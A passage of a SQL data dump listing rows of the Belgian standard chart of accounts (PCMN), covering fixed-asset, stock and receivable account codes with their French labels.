17:28:15','PCMN-BASE','IMMO','24190',688,'Amortissements sur matériel automobile',NULL,0,NULL,NULL,1,0,NULL,NULL),(690,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24191',688,'Idem sur matériel ferroviaire',NULL,0,NULL,NULL,1,0,NULL,NULL),(691,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24192',688,'Idem sur matériel fluvial',NULL,0,NULL,NULL,1,0,NULL,NULL),(692,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24193',688,'Idem sur matériel naval',NULL,0,NULL,NULL,1,0,NULL,NULL),(693,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24194',688,'Idem sur matériel aérien',NULL,0,NULL,NULL,1,0,NULL,NULL),(694,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','25',1352,'Immobilisation détenues en location-financement et droits similaires',NULL,0,NULL,NULL,1,0,NULL,NULL),(695,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','250',694,'Terrains et constructions',NULL,0,NULL,NULL,1,0,NULL,NULL),(696,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2500',695,'Terrains',NULL,0,NULL,NULL,1,0,NULL,NULL),(697,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2501',695,'Constructions',NULL,0,NULL,NULL,1,0,NULL,NULL),(698,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2508',695,'Plus-values sur emphytéose, leasing et droits similaires : terrains et constructions',NULL,0,NULL,NULL,1,0,NULL,NULL),(699,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2509',695,'Amortissements et réductions de valeur sur terrains et constructions en leasing',NULL,0,NULL,NULL,1,0,NULL,NULL),(700,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','251',694,'Installations, machines et outillage',NULL,0,NULL,NULL,1,0,NULL,NULL),(701,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2510',700,'Installations',NULL,0,NULL,NULL,1,0,NULL,NULL),(702,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2511',700,'Machines',NULL,0,NULL,NULL,1,0,NULL,NULL),(703,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2512',700,'Outillage',NULL,0,NULL,NULL,1,0,NULL,NULL),(704,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2518',700,'Plus-values actées sur installations machines et outillage pris en leasing',NULL,0,NULL,NULL,1,0,NULL,NULL),(705,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2519',700,'Amortissements sur installations machines et outillage pris en leasing',NULL,0,NULL,NULL,1,0,NULL,NULL),(706,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','252',694,'Mobilier et matériel roulant',NULL,0,NULL,NULL,1,0,NULL,NULL),(707,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2520',706,'Mobilier',NULL,0,NULL,NULL,1,0,NULL,NULL),(708,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2521',706,'Matériel roulant',NULL,0,NULL,NULL,1,0,NULL,NULL),(709,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2528',706,'Plus-values actées sur mobilier et matériel roulant en leasing',NULL,0,NULL,NULL,1,0,NULL,NULL),(710,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2529',706,'Amortissements sur mobilier et matériel roulant en leasing',NULL,0,NULL,NULL,1,0,NULL,NULL),(711,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','26',1352,'Autres immobilisations corporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(712,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','260',711,'Frais d\'aménagements de locaux pris en location',NULL,0,NULL,NULL,1,0,NULL,NULL),(713,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','261',711,'Maison d\'habitation',NULL,0,NULL,NULL,1,0,NULL,NULL),(714,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','262',711,'Réserve immobilière',NULL,0,NULL,NULL,1,0,NULL,NULL),(715,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','263',711,'Matériel d\'emballage',NULL,0,NULL,NULL,1,0,NULL,NULL),(716,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','264',711,'Emballages récupérables',NULL,0,NULL,NULL,1,0,NULL,NULL),(717,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','268',711,'Plus-values actées sur autres immobilisations corporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(718,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','269',711,'Amortissements sur autres immobilisations corporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(719,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2690',718,'Amortissements sur frais d\'aménagement des locaux pris en location',NULL,0,NULL,NULL,1,0,NULL,NULL),(720,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2691',718,'Amortissements sur maison d\'habitation',NULL,0,NULL,NULL,1,0,NULL,NULL),(721,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2692',718,'Amortissements sur réserve immobilière',NULL,0,NULL,NULL,1,0,NULL,NULL),(722,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2693',718,'Amortissements sur matériel d\'emballage',NULL,0,NULL,NULL,1,0,NULL,NULL),(723,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2694',718,'Amortissements sur emballages récupérables',NULL,0,NULL,NULL,1,0,NULL,NULL),(724,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','27',1352,'Immobilisations corporelles en cours et acomptes versés',NULL,0,NULL,NULL,1,0,NULL,NULL),(725,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','270',724,'Immobilisations en cours',NULL,0,NULL,NULL,1,0,NULL,NULL),(726,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2700',725,'Constructions',NULL,0,NULL,NULL,1,0,NULL,NULL),(727,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2701',725,'Installations machines et outillage',NULL,0,NULL,NULL,1,0,NULL,NULL),(728,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2702',725,'Mobilier et matériel roulant',NULL,0,NULL,NULL,1,0,NULL,NULL),(729,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2703',725,'Autres immobilisations corporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(730,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','271',724,'Avances et acomptes versés sur immobilisations en cours',NULL,0,NULL,NULL,1,0,NULL,NULL),(731,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','28',1352,'Immobilisations financières',NULL,0,NULL,NULL,1,0,NULL,NULL),(732,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','280',731,'Participations dans des entreprises liées',NULL,0,NULL,NULL,1,0,NULL,NULL),(733,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2800',732,'Valeur d\'acquisition (peut être subdivisé par participation)',NULL,0,NULL,NULL,1,0,NULL,NULL),(734,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2801',732,'Montants non appelés (idem)',NULL,0,NULL,NULL,1,0,NULL,NULL),(735,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2808',732,'Plus-values actées (idem)',NULL,0,NULL,NULL,1,0,NULL,NULL),(736,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2809',732,'Réductions de valeurs actées (idem)',NULL,0,NULL,NULL,1,0,NULL,NULL),(737,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','281',731,'Créances sur des entreprises liées',NULL,0,NULL,NULL,1,0,NULL,NULL),(738,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2810',737,'Créances en compte',NULL,0,NULL,NULL,1,0,NULL,NULL),(739,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2811',737,'Effets à recevoir',NULL,0,NULL,NULL,1,0,NULL,NULL),(740,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2812',737,'Titres à revenu fixes',NULL,0,NULL,NULL,1,0,NULL,NULL),(741,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2817',737,'Créances douteuses',NULL,0,NULL,NULL,1,0,NULL,NULL),(742,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2819',737,'Réductions de valeurs actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(743,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','282',731,'Participations dans des entreprises avec lesquelles il existe un lien de participation',NULL,0,NULL,NULL,1,0,NULL,NULL),(744,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2820',743,'Valeur d\'acquisition (peut être subdivisé par participation)',NULL,0,NULL,NULL,1,0,NULL,NULL),(745,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2821',743,'Montants non appelés (idem)',NULL,0,NULL,NULL,1,0,NULL,NULL),(746,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2828',743,'Plus-values actées (idem)',NULL,0,NULL,NULL,1,0,NULL,NULL),(747,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2829',743,'Réductions de valeurs actées (idem)',NULL,0,NULL,NULL,1,0,NULL,NULL),(748,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','283',731,'Créances sur des entreprises avec lesquelles il existe un lien de participation',NULL,0,NULL,NULL,1,0,NULL,NULL),(749,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2830',748,'Créances en compte',NULL,0,NULL,NULL,1,0,NULL,NULL),(750,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2831',748,'Effets à recevoir',NULL,0,NULL,NULL,1,0,NULL,NULL),(751,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2832',748,'Titres à revenu fixe',NULL,0,NULL,NULL,1,0,NULL,NULL),(752,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2837',748,'Créances douteuses',NULL,0,NULL,NULL,1,0,NULL,NULL),(753,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2839',748,'Réductions de valeurs actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(754,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','284',731,'Autres actions et parts',NULL,0,NULL,NULL,1,0,NULL,NULL),(755,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2840',754,'Valeur d\'acquisition',NULL,0,NULL,NULL,1,0,NULL,NULL),(756,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2841',754,'Montants non appelés',NULL,0,NULL,NULL,1,0,NULL,NULL),(757,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2848',754,'Plus-values actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(758,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2849',754,'Réductions de valeur actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(759,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','285',731,'Autres créances',NULL,0,NULL,NULL,1,0,NULL,NULL),(760,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2850',759,'Créances en compte',NULL,0,NULL,NULL,1,0,NULL,NULL),(761,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2851',759,'Effets à recevoir',NULL,0,NULL,NULL,1,0,NULL,NULL),(762,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2852',759,'Titres à revenu fixe',NULL,0,NULL,NULL,1,0,NULL,NULL),(763,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2857',759,'Créances douteuses',NULL,0,NULL,NULL,1,0,NULL,NULL),(764,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2859',759,'Réductions de valeur actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(765,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','288',731,'Cautionnements versés en numéraires',NULL,0,NULL,NULL,1,0,NULL,NULL),(766,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2880',765,'Téléphone, téléfax, télex',NULL,0,NULL,NULL,1,0,NULL,NULL),(767,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2881',765,'Gaz',NULL,0,NULL,NULL,1,0,NULL,NULL),(768,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2882',765,'Eau',NULL,0,NULL,NULL,1,0,NULL,NULL),(769,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2883',765,'Electricité',NULL,0,NULL,NULL,1,0,NULL,NULL),(770,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2887',765,'Autres cautionnements versés en numéraires',NULL,0,NULL,NULL,1,0,NULL,NULL),(771,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','29',1352,'Créances à plus d\'un an',NULL,0,NULL,NULL,1,0,NULL,NULL),(772,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','290',771,'Créances commerciales',NULL,0,NULL,NULL,1,0,NULL,NULL),(773,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2900',772,'Clients',NULL,0,NULL,NULL,1,0,NULL,NULL),(774,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','29000',773,'Créances en compte sur entreprises liées',NULL,0,NULL,NULL,1,0,NULL,NULL),(775,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','29001',773,'Sur entreprises avec lesquelles il existe un lien de participation',NULL,0,NULL,NULL,1,0,NULL,NULL),(776,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','29002',773,'Sur clients Belgique',NULL,0,NULL,NULL,1,0,NULL,NULL),(777,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','29003',773,'Sur clients C.E.E.',NULL,0,NULL,NULL,1,0,NULL,NULL),(778,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','29004',773,'Sur clients exportation hors C.E.E.',NULL,0,NULL,NULL,1,0,NULL,NULL),(779,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','29005',773,'Créances sur les coparticipants (associations momentanées)',NULL,0,NULL,NULL,1,0,NULL,NULL),(780,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2901',772,'Effets à recevoir',NULL,0,NULL,NULL,1,0,NULL,NULL),(781,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','29010',780,'Sur entreprises liées',NULL,0,NULL,NULL,1,0,NULL,NULL),(782,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','29011',780,'Sur entreprises avec lesquelles il existe un lien de participation',NULL,0,NULL,NULL,1,0,NULL,NULL),(783,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','29012',780,'Sur clients Belgique',NULL,0,NULL,NULL,1,0,NULL,NULL),(784,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','29013',780,'Sur clients C.E.E.',NULL,0,NULL,NULL,1,0,NULL,NULL),(785,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','29014',780,'Sur clients exportation hors C.E.E.',NULL,0,NULL,NULL,1,0,NULL,NULL),(786,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2905',772,'Retenues sur garanties',NULL,0,NULL,NULL,1,0,NULL,NULL),(787,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2906',772,'Acomptes versés',NULL,0,NULL,NULL,1,0,NULL,NULL),(788,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2907',772,'Créances douteuses (à ventiler comme clients 2900)',NULL,0,NULL,NULL,1,0,NULL,NULL),(789,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2909',772,'Réductions de valeur actées (à ventiler comme clients 2900)',NULL,0,NULL,NULL,1,0,NULL,NULL),(790,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','291',771,'Autres créances',NULL,0,NULL,NULL,1,0,NULL,NULL),(791,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2910',790,'Créances en compte',NULL,0,NULL,NULL,1,0,NULL,NULL),(792,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','29100',791,'Sur entreprises liées',NULL,0,NULL,NULL,1,0,NULL,NULL),(793,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','29101',791,'Sur entreprises avec lesquelles il existe un lien de participation',NULL,0,NULL,NULL,1,0,NULL,NULL),(794,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','29102',791,'Sur autres débiteurs',NULL,0,NULL,NULL,1,0,NULL,NULL),(795,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2911',790,'Effets à recevoir',NULL,0,NULL,NULL,1,0,NULL,NULL),(796,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','29110',795,'Sur entreprises liées',NULL,0,NULL,NULL,1,0,NULL,NULL),(797,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','29111',795,'Sur entreprises avec lesquelles il existe un lien de participation',NULL,0,NULL,NULL,1,0,NULL,NULL),(798,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','29112',795,'Sur autres débiteurs',NULL,0,NULL,NULL,1,0,NULL,NULL),(799,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2912',790,'Créances résultant de la cession d\'immobilisations données en leasing',NULL,0,NULL,NULL,1,0,NULL,NULL),(800,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2917',790,'Créances douteuses',NULL,0,NULL,NULL,1,0,NULL,NULL),(801,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2919',790,'Réductions de valeur actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(802,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','30',1353,'Approvisionnements - matières premières',NULL,0,NULL,NULL,1,0,NULL,NULL),(803,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','300',802,'Valeur d\'acquisition',NULL,0,NULL,NULL,1,0,NULL,NULL),(804,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','309',802,'Réductions de valeur actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(805,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','31',1353,'Approvsionnements et fournitures',NULL,0,NULL,NULL,1,0,NULL,NULL),(806,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','310',805,'Valeur d\'acquisition',NULL,0,NULL,NULL,1,0,NULL,NULL),(807,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','3100',806,'Matières d\'approvisionnement',NULL,0,NULL,NULL,1,0,NULL,NULL),(808,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','3101',806,'Energie, charbon, coke, mazout, essence, propane',NULL,0,NULL,NULL,1,0,NULL,NULL),(809,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','3102',806,'Produits d\'entretien',NULL,0,NULL,NULL,1,0,NULL,NULL),(810,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','3103',806,'Fournitures diverses et petit outillage',NULL,0,NULL,NULL,1,0,NULL,NULL),(811,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','3104',806,'Imprimés et fournitures de bureau',NULL,0,NULL,NULL,1,0,NULL,NULL),(812,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','3105',806,'Fournitures de services sociaux',NULL,0,NULL,NULL,1,0,NULL,NULL),(813,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','3106',806,'Emballages commerciaux',NULL,0,NULL,NULL,1,0,NULL,NULL),(814,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','31060',813,'Emballages perdus',NULL,0,NULL,NULL,1,0,NULL,NULL),(815,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','31061',813,'Emballages récupérables',NULL,0,NULL,NULL,1,0,NULL,NULL),(816,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','319',805,'Réductions de valeur actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(817,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','32',1353,'En cours de fabrication',NULL,0,NULL,NULL,1,0,NULL,NULL),(818,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','320',817,'Valeur d\'acquisition',NULL,0,NULL,NULL,1,0,NULL,NULL),(819,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','3200',818,'Produits semi-ouvrés',NULL,0,NULL,NULL,1,0,NULL,NULL),(820,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','3201',818,'Produits en cours de fabrication',NULL,0,NULL,NULL,1,0,NULL,NULL),(821,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','3202',818,'Travaux en cours',NULL,0,NULL,NULL,1,0,NULL,NULL),(822,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','3205',818,'Déchets',NULL,0,NULL,NULL,1,0,NULL,NULL),(823,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','3206',818,'Rebuts',NULL,0,NULL,NULL,1,0,NULL,NULL),(824,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','3209',818,'Travaux en association momentanée',NULL,0,NULL,NULL,1,0,NULL,NULL),(825,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','329',817,'Réductions de valeur actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(826,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','33',1353,'Produits finis',NULL,0,NULL,NULL,1,0,NULL,NULL),(827,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','330',826,'Valeur d\'acquisition',NULL,0,NULL,NULL,1,0,NULL,NULL),(828,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','3300',827,'Produits finis',NULL,0,NULL,NULL,1,0,NULL,NULL),(829,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','339',826,'Réductions de valeur actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(830,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','34',1353,'Marchandises',NULL,0,NULL,NULL,1,0,NULL,NULL),(831,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','340',830,'Valeur d\'acquisition',NULL,0,NULL,NULL,1,0,NULL,NULL),(832,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','3400',831,'Groupe A',NULL,0,NULL,NULL,1,0,NULL,NULL),(833,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','3401',831,'Groupe B',NULL,0,NULL,NULL,1,0,NULL,NULL),(834,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','3402',831,'Groupe C',NULL,0,NULL,NULL,1,0,NULL,NULL),(835,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','349',830,'Réductions de valeur actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(836,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','35',1353,'Immeubles destinés à la vente',NULL,0,NULL,NULL,1,0,NULL,NULL),(837,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','350',836,'Valeur d\'acquisition',NULL,0,NULL,NULL,1,0,NULL,NULL),(838,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','3500',837,'Immeuble A',NULL,0,NULL,NULL,1,0,NULL,NULL),(839,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','3501',837,'Immeuble B',NULL,0,NULL,NULL,1,0,NULL,NULL),(840,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','3502',837,'Immeuble C',NULL,0,NULL,NULL,1,0,NULL,NULL),(841,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','351',836,'Immeubles construits en vue de leur revente',NULL,0,NULL,NULL,1,0,NULL,NULL),(842,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','3510',841,'Immeuble A',NULL,0,NULL,NULL,1,0,NULL,NULL),(843,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','3511',841,'Immeuble B',NULL,0,NULL,NULL,1,0,NULL,NULL),(844,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','3512',841,'Immeuble C',NULL,0,NULL,NULL,1,0,NULL,NULL),(845,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','359',836,'Réductions de valeurs actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(846,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','36',1353,'Acomptes versés sur achats pour stocks',NULL,0,NULL,NULL,1,0,NULL,NULL),(847,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','360',846,'Acomptes versés (à ventiler éventuellement par catégorie)',NULL,0,NULL,NULL,1,0,NULL,NULL),(848,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','369',846,'Réductions de valeur actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(849,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','37',1353,'Commandes en cours d\'exécution',NULL,0,NULL,NULL,1,0,NULL,NULL),(850,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','370',849,'Valeur d\'acquisition',NULL,0,NULL,NULL,1,0,NULL,NULL),(851,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','371',849,'Bénéfice pris en compte',NULL,0,NULL,NULL,1,0,NULL,NULL),(852,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','379',849,'Réductions de valeur actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(853,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','40',1354,'Créances commerciales',NULL,0,NULL,NULL,1,0,NULL,NULL),(854,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','400',853,'Clients',NULL,0,NULL,NULL,1,0,NULL,NULL),(855,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4007',854,'Rabais, remises et ristournes à accorder et autres notes de crédit à établir',NULL,0,NULL,NULL,1,0,NULL,NULL),(856,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4008',854,'Créances résultant de livraisons de biens (associations momentanées)',NULL,0,NULL,NULL,1,0,NULL,NULL),(857,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','401',853,'Effets à recevoir',NULL,0,NULL,NULL,1,0,NULL,NULL),(858,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4010',857,'Effets à recevoir',NULL,0,NULL,NULL,1,0,NULL,NULL),(859,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4013',857,'Effets à l\'encaissement',NULL,0,NULL,NULL,1,0,NULL,NULL),(860,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4015',857,'Effets à l\'escompte',NULL,0,NULL,NULL,1,0,NULL,NULL),(861,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','402',853,'Clients, créances courantes, entreprises apparentées, administrateurs et gérants',NULL,0,NULL,NULL,1,0,NULL,NULL),(862,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4020',861,'Entreprises liées',NULL,0,NULL,NULL,1,0,NULL,NULL),(863,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4021',861,'Autres entreprises avec lesquelles il existe un lien de participation',NULL,0,NULL,NULL,1,0,NULL,NULL),(864,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4022',861,'Administrateurs et gérants d\'entreprise',NULL,0,NULL,NULL,1,0,NULL,NULL),(865,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','403',853,'Effets à recevoir sur entreprises apparentées et administrateurs et gérants',NULL,0,NULL,NULL,1,0,NULL,NULL),(866,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4030',865,'Entreprises liées',NULL,0,NULL,NULL,1,0,NULL,NULL),(867,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4031',865,'Autres entreprises avec lesquelles il existe un lien de participation',NULL,0,NULL,NULL,1,0,NULL,NULL),(868,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4032',865,'Administrateurs et gérants de l\'entreprise',NULL,0,NULL,NULL,1,0,NULL,NULL),(869,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','404',853,'Produits à recevoir (factures à établir)',NULL,0,NULL,NULL,1,0,NULL,NULL),(870,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','405',853,'Clients : retenues sur garanties',NULL,0,NULL,NULL,1,0,NULL,NULL),(871,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','406',853,'Acomptes versés',NULL,0,NULL,NULL,1,0,NULL,NULL),(872,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','407',853,'Créances 